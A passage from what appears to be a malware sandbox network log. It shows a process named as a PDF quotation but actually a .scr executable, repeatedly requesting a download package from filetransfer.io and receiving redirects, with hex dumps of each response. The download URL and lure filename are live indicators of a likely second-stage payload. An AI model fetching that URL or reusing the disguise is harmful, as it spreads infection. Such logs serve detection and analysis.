Oct 4, 2024 11:23:18.901164055 CEST	861	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KMfOnXOGtJdXLTWjcoJEE2y1gqyuSzBJDMPZqtsubpIV%2BNxAc1l%2B9ENeXrkcd2V9JuVoMTtCXSacWGMOwitFNFHIvG%2BhNNloR6cxSVN0kfmJ36FbP29cID4ZUHkYig93JfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cca391ade93-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:18.974788904 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:19.174268961 CEST	863	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bGbJNvql2B45YkiB4mANuKG1rOrfRcVM0E%2Fgzk06bH2kveeDhbuowFyn6nH%2FgAmF4dMR1dcDs1H2brqVr8VSBLO541lUyifqXs1VpTk00Hu%2BpdzvzAFvNG7wUSPi0haV%2B98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ccbdb6bde93-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49797	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:19.661494970 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:20.316337109 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RQb3hqcaAGJI%2BUek%2BSQDKqpeE9MPEDVGtiIXJvCKuyk3p9T2Gct5%2B2PyxqYrp8kVFsulvQMgckKlEJPLNmN5fJyR3dAucaelrxKh%2Bj3JqwV00hqqTf76OUesF3lM9qBu6Og%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cd26cfe8c5d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:20.318588018 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:20.538149118 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QSyNO0YWs5XYcM3VaBDuUCTTvUEksCIu2JTMFmMbA%2B66Zb3pSzmMD5N06OoO94%2FVqZjOG%2BtSKMeff%2FpxSGslqUmqkIL9FsldcOwH0ObVovj%2BVQlpN4QR%2BfR90uJYjrPt64o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cd46e438c5d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:20.539774895 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:20.731548071 CEST	656	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5VgdX5S3%2F3Ivpt7wQ9r5jqxhHc3hUhWx1DxLpqwUwnjx3imvqAo8MdWmEQVkCNJ7tqwVYFB5BZ2Xf4NCKf0oditgzx3poSxHjddDGe%2FEEEQzY6Zp4keIZURhr4CQMJ10PXY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cd5aef18c5d-EWR
Oct 4, 2024 11:23:20.862154007 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49800	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:20.868801117 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:21.504667044 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j7Mf3bHfSlPbZ5UVThBqqmzVt%2FG%2BlnIycaAM7FRAUTKilZOfSP689xewxRGYOsuL8bpetCx4qGFf9eWplOf7zXmdnw9NgKqHLm6mwC54tNw2McMSD5q%2FsUCnHLnhJia0Wt8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cd9ef2743b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:21.563566923 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:21.988770008 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uybnk9JPXNz%2F4wYQp%2Fq4KxxvjtUq204NRVQ9C8C7ObMT5JIRa3ROYti0ePLMeKmpFb5T%2BSZWzOdr4d1AFj1%2Fu2kYQEl0Fk%2F%2BbaRXVFJZhSgIqZNECtz1vUQm3ApafKXN92Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cdc089843b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:21.989212036 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uybnk9JPXNz%2F4wYQp%2Fq4KxxvjtUq204NRVQ9C8C7ObMT5JIRa3ROYti0ePLMeKmpFb5T%2BSZWzOdr4d1AFj1%2Fu2kYQEl0Fk%2F%2BbaRXVFJZhSgIqZNECtz1vUQm3ApafKXN92Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cdc089843b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:21.992109060 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:22.183243990 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MWEF51Tetxt3r3Z%2FXA4v5PlxVAbbsd5cjvKBLKdNHeOIEM3fT1ADkLf5QZf%2FwimWP9PnQZXnw%2FvTXDhv395%2BRJlv%2BTam2uFfptsFLLpHJo3wBhQU%2ByqpBDG913Vd8KLoZ%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cdeba9c43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:22.188607931 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:22.379771948 CEST	843	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2FF%2FF69LNoQ2r4Civf%2BiM89Gd32ZcY0VFgxYm2wpOw4oFJnkWshOS7E8xb7jf9%2BBrrTgn7p0A6%2FOCS5rdI3nbWzxwLV%2BagMhLkqpp8j3%2FWL7N5N%2BhK2t0njZOqEs6%2FdBtGg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41cdffb5243b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:22.381584883 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:22.572864056 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AqvWh%2FqM5tCs94W9s%2BHZcM5jblx3IVZYrdbaZg4OmIZlVVMPQa7LhKf3%2BnjEiuxPRmeOlYxP2mSLJZ%2Ba7uBxcaFnTBQJYkB0Dn8SR01xsoAagmoJLt%2Bw6QWQay9NhTBnrRE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce12c7743b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:22.574748039 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:22.765755892 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gxKOdLiVcubxL%2BmevIwcvinRGyGGXnoaPwx%2BnypoDl62VIzN7ZvbdOBbq%2BlUCu25DOjd3T9IEuuf9aHV2RIhVlntsBEInZOoLlClO%2FC9t6Sdu1aXGiOthNHmzf0cK45haCc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce25d5643b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:22.767600060 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:22.961215019 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=roIglMNtLhqqpXA%2BpesUIgQQa7ibsPRao0CJfIyRBJZ4oo31e5%2F23tb%2BWplIVbRa3nCBAoBOrTa6cgwpMy7%2FgyYOZ%2FC1RBXlJgCEWwNCt%2FleCEq49Hv0RpDQBmat4FlYfAU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce39dfe43b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:22.963246107 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:23.154321909 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qlc87LNKr5qwN%2Bfmx60LdMixLq50c8joLIgyKfZZDVu%2FOItnVJXVhLxPrJTxePgQ0HWy%2FuBL%2Fn8KLIt0hnRosfKCD8AtABn349JXXaLL%2FPWQU1PwaYu2Bi573DjKLEz1SMY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce4ceb143b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:23.155869961 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:23.486726999 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3%2BpwecokJWYkB03qBeo8x1MBp%2Frbco8xc5MGVsJRBjoG5dnPcV5AkUhZS6IxjP87VpT7GsMhKH5%2FxrpBoytahEMc%2Fj5%2Bdm1s7R00CmWG6azfmKkTBVLMlFzDOp8ijEdBQpE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ce5ff5743b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 